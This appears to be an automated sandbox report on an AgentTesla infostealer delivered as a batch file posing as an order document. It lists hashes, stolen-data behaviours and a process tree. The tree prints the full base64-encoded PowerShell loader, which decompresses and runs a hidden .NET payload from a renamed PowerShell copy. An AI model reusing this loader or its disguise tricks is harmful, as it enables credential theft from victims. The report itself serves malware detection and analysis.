Analysis

  • max time kernel
    141s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231130-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-12-2023 14:01

General

  • Target

    ORDER-SUNNY 10005916.bat

  • Size

    1009KB

  • MD5

    27c302e3247d5a9f8fce50cfba636e22

  • SHA1

    7939d397dba283814967080fb37913d9076dab49

  • SHA256

    1dcd0d42ac6d49c7447bd11b3c08d26b3e03d1000483c8ce1ac6914fd249a6a0

  • SHA512

    040e32f01348045b4a9d65666e7bb966150b3ae34e6078b23c0d3c58a8f18e48096091e05ea5bffa09a4f33f93a441e4767a9d9468e8d3f4adbcfc10733b4c70

  • SSDEEP

    24576:hHOmVihj9V3HNS0B0dgIx4l0ivt/Ixdt+gnfpV6gXhtnLPv+yqV82DqdFUWvw:h6j3fpI57zPVqmTgj

Malware Config

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Windows directory 1 IoCs
  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ORDER-SUNNY 10005916.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3540
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo F "
      2⤵
        PID:2340
      • C:\Windows\system32\xcopy.exe
        xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Iduou.png
        2⤵
          PID:3564
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ORDER-SUNNY 10005916.bat"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4840
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo F "
            3⤵
              PID:3308
            • C:\Windows\system32\xcopy.exe
              xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Iduou.png
              3⤵
                PID:1912
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo F "
                3⤵
                  PID:1924
                • C:\Windows\system32\xcopy.exe
                  xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\ORDER-SUNNY 10005916.bat" C:\Users\Admin\AppData\Local\Temp\Iduou.png.bat
                  3⤵
                    PID:2444
                  • C:\Users\Admin\AppData\Local\Temp\Iduou.png
                    C:\Users\Admin\AppData\Local\Temp\Iduou.png -win 1 -enc JABBAGIAcQB5AGwAYwBiAGYAcgBvACAAPQAgAFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEwAaQBuAGUAcwAoACgAKABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQApAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAiAC4AYgBhAHQAIgApACwAIABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAApACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAGwAYQBzAHQAIAAxADsAIAAkAEcAYwBxAHMAcwBuAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAQQBiAHEAeQBsAGMAYgBmAHIAbwApADsAJABKAHQAdABjAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEcAYwBxAHMAcwBuAGQAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAVQB2AGoAZABtAGcAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABKAHQAdABjAHAALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAFUAdgBqAGQAbQBnAGwALgBDAG8AcAB5AFQAbwAoACAAJABvAHUAdABwAHUAdAAgACkAOwAkAFUAdgBqAGQAbQBnAGwALgBDAGwAbwBzAGUAKAApADsAJABKAHQAdABjAHAALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABHAGMAcQBzAHMAbgBkACAAPQAgACQAbwB1AHQAcAB1AHQALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAEcAYwBxAHMAcwBuAGQAKQA7ACAAJABWAG0AaABoAHEAZABwACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAEcAYwBxAHMAcwBuAGQAKQA7ACAAJABQAHEAawBpAHkAbABpAGMAcgAgAD0AIAAkAFYAbQBoAGgAcQBkAHAALgBHAGUAdABFAHgAcABvAHIAdABlAGQAVAB5AHAAZQBzACgAKQBbADAAXQA7ACAAJABQAHUAZABxAHcAbgBzAGUAdAB4AG8AIAA9ACAAJABQAHEAawBpAHkAbABpAGMAcgAuAEcAZQB0AE0AZQB0AGgAbwBkAHMAKAApAFsAMABdAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
                    3⤵
                    • Executes dropped EXE
                    • Adds Run key to start application
                    • Drops file in Windows directory
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3804
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 3804 -s 2848
                      4⤵
                      • Program crash
                      PID:3816
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 196 -p 3804 -ip 3804
                1⤵
                  PID:2012

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Temp\Iduou.png

                  Filesize

                  423KB

                  MD5

                  c32ca4acfcc635ec1ea6ed8a34df5fac

                  SHA1

                  f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

                  SHA256

                  73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

                  SHA512

                  6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

                • C:\Users\Admin\AppData\Local\Temp\Iduou.png.bat

                  Filesize

                  1009KB

                  MD5

                  27c302e3247d5a9f8fce50cfba636e22

                  SHA1

                  7939d397dba283814967080fb37913d9076dab49

                  SHA256

                  1dcd0d42ac6d49c7447bd11b3c08d26b3e03d1000483c8ce1ac6914fd249a6a0

                  SHA512

                  040e32f01348045b4a9d65666e7bb966150b3ae34e6078b23c0d3c58a8f18e48096091e05ea5bffa09a4f33f93a441e4767a9d9468e8d3f4adbcfc10733b4c70

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4hopjwha.vul.ps1

                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • \??\c:\users\admin\appdata\local\temp\iduou.png

                  Filesize

                  423KB

                  MD5

                  c32ca4acfcc635ec1ea6ed8a34df5fac

                  SHA1

                  f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

                  SHA256

                  73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

                  SHA512

                  6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

                • memory/3804-27-0x0000000006040000-0x000000000608C000-memory.dmp

                  Filesize

                  304KB

                • memory/3804-30-0x0000000006530000-0x000000000654A000-memory.dmp

                  Filesize

                  104KB

                • memory/3804-13-0x0000000005030000-0x0000000005052000-memory.dmp

                  Filesize

                  136KB

                • memory/3804-15-0x0000000005870000-0x00000000058D6000-memory.dmp

                  Filesize

                  408KB

                • memory/3804-14-0x0000000005710000-0x0000000005776000-memory.dmp

                  Filesize

                  408KB

                • memory/3804-11-0x0000000004AA0000-0x0000000004AB0000-memory.dmp

                  Filesize

                  64KB

                • memory/3804-25-0x00000000059E0000-0x0000000005D34000-memory.dmp

                  Filesize

                  3.3MB

                • memory/3804-26-0x0000000005FF0000-0x000000000600E000-memory.dmp

                  Filesize

                  120KB

                • memory/3804-8-0x0000000004A50000-0x0000000004A86000-memory.dmp

                  Filesize

                  216KB

                • memory/3804-10-0x0000000004AA0000-0x0000000004AB0000-memory.dmp

                  Filesize

                  64KB

                • memory/3804-29-0x0000000007860000-0x0000000007EDA000-memory.dmp

                  Filesize

                  6.5MB

                • memory/3804-12-0x00000000050E0000-0x0000000005708000-memory.dmp

                  Filesize

                  6.2MB

                • memory/3804-31-0x00000000071E0000-0x00000000072A8000-memory.dmp

                  Filesize

                  800KB

                • memory/3804-32-0x00000000072B0000-0x000000000732A000-memory.dmp

                  Filesize

                  488KB

                • memory/3804-33-0x0000000007430000-0x0000000007496000-memory.dmp

                  Filesize

                  408KB

                • memory/3804-35-0x00000000074D0000-0x0000000007513000-memory.dmp

                  Filesize

                  268KB

                • memory/3804-36-0x00000000076B0000-0x00000000076F2000-memory.dmp

                  Filesize

                  264KB

                • memory/3804-37-0x0000000004AA0000-0x0000000004AB0000-memory.dmp

                  Filesize

                  64KB

                • memory/3804-38-0x0000000004AA0000-0x0000000004AB0000-memory.dmp

                  Filesize

                  64KB

                • memory/3804-39-0x0000000008490000-0x0000000008A34000-memory.dmp

                  Filesize

                  5.6MB

                • memory/3804-40-0x0000000074C80000-0x0000000075430000-memory.dmp

                  Filesize

                  7.7MB

                • memory/3804-9-0x0000000074C80000-0x0000000075430000-memory.dmp

                  Filesize

                  7.7MB

                • memory/3804-43-0x0000000074C80000-0x0000000075430000-memory.dmp

                  Filesize

                  7.7MB